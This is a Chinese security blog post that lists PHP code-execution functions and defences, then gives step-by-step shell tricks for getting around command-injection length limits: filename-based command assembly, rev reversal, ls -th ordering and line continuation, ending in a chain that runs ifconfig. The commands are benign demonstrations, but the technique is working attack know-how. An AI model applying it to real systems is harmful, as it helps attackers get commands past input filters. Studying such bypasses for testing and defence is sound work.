php代码执行与命令注入突破长度限制

ゝ一纸荒年。 2022-11-16 13:38 256阅读 0赞

### 文章目录 ###

*  1. php代码执行方式
 *  2. php代码执行防御方式
 *  3. 命令注入突破长度限制
 *   *  3.1 命令组装
     *  3.2 反转命令
     *  3.3 控制顺序
     *  3.4 命令续行
     *  3.5 完整利用链
 *  参考文章

# 1. php代码执行方式 #

涉及到的函数：

eval
    require
    include
    assert
    preg_match
    create_function

# 2. php代码执行防御方式 #

*  升级到PHP 7.1，该版本对大部分常见的执行动态代码的方法进行了封堵。
 *  php.ini中，关闭“allow\_url\_fopen”。在打开它的情况下，可以通过 phar:// 等协议丢给include，让其执行动态代码。
 *  php.ini中，通过disable\_functions关闭 exec,passthru,shell\_exec,system 等函数，禁止PHP调用外部程序。
 *  永远不要在代码中使用eval。
 *  设置好上传文件夹的权限，禁止从该文件夹执行代码。
 *  include 文件的时候，注意文件的来源；需要动态include时做好参数过滤。

# 3. 命令注入突破长度限制 #

`我们先创建一个文件夹，确保里面没有任何文件。`

## 3.1 命令组装 ##

依次执行下面三条命令，相当于执行`echo hello`

>echo
    >hello
    *

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]

## 3.2 反转命令 ##

如果我们想执行，ls -l 但是命令被限制了一次只能执行4个字符。如果我们使用以下命令：

>ls
    >-l

是会失败的。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 1]  
我们使用另外一个方法，使得命令反转：

>l- 
    >sl

![在这里插入图片描述][20210407211156675.png]  
使用如下命令，将l- sl输入到文件夹v中。

>dir
    *>v

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 2]

>rev #功能为反转内容，rev 123 ==》 321
    *v  #相当于rev v

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 3]  
将\*v写入到新的文件中并执行新文件：

*v>e
    sh e

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 4]

## 3.3 控制顺序 ##

跟上面的一样，我们需要执行ls -l。

>-l
    >\ \\
    >ls\\
    ls -th >e
    sh e

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 5]

## 3.4 命令续行 ##

我们首先要知道下面命令是可以执行的，也就是命令是可以换行的：

l\
    s

![在这里插入图片描述][20210407214113851.png]  
我们凑一个ifconfig：

>ig\\
    >nf\\
    >co\\
    >if\\
    ls -th>q
    sh q

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 6]

## 3.5 完整利用链 ##

1.生成 ls -th >g命令，只能用g或者位置小于g的字符，否则会出错:

>g\>
    >ht-
    >sl
    >dir
    *>v
    >rev
    *v>x
    >\;
    >ig\\
    >nf\\
    >co\\
    >if\\
    sh x

实现了最多4个字符，最终执行了ifconfig命令:  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 7]

# 参考文章 #

[从PHP源码与扩展开发谈PHP任意代码执行与防御][PHP_PHP]  
[挖洞经验 | 命令注入突破长度限制][Link 1]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]: /images/20221022/da99bfe45d8f4705990f3294ae519949.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 1]: /images/20221022/42747d9279a3464c8ea15f0fc33d6fb5.png
[20210407211156675.png]: /images/20221022/f738735a022346f4bc1a505252d54596.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 2]: /images/20221022/248f2d154abc470d8235d4e0bdd94b9a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 3]: /images/20221022/01789f54bd9f49dcb0ffa6928aaf035b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 4]: /images/20221022/28b4564d432148748833f5ee286e72ce.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 5]: /images/20221022/5b448bd7f90f40cba793be0faa4c619b.png
[20210407214113851.png]: /images/20221022/064c513f7ca4414a80b264dbc672cee9.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 6]: /images/20221022/41cfa6ba00be482bbcc5da67a59a120e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 7]: /images/20221022/c055442554f6473f8f507a5d47eb0266.png
[PHP_PHP]: https://blog.zsxsoft.com/post/30
[Link 1]: https://www.freebuf.com/articles/web/154453.html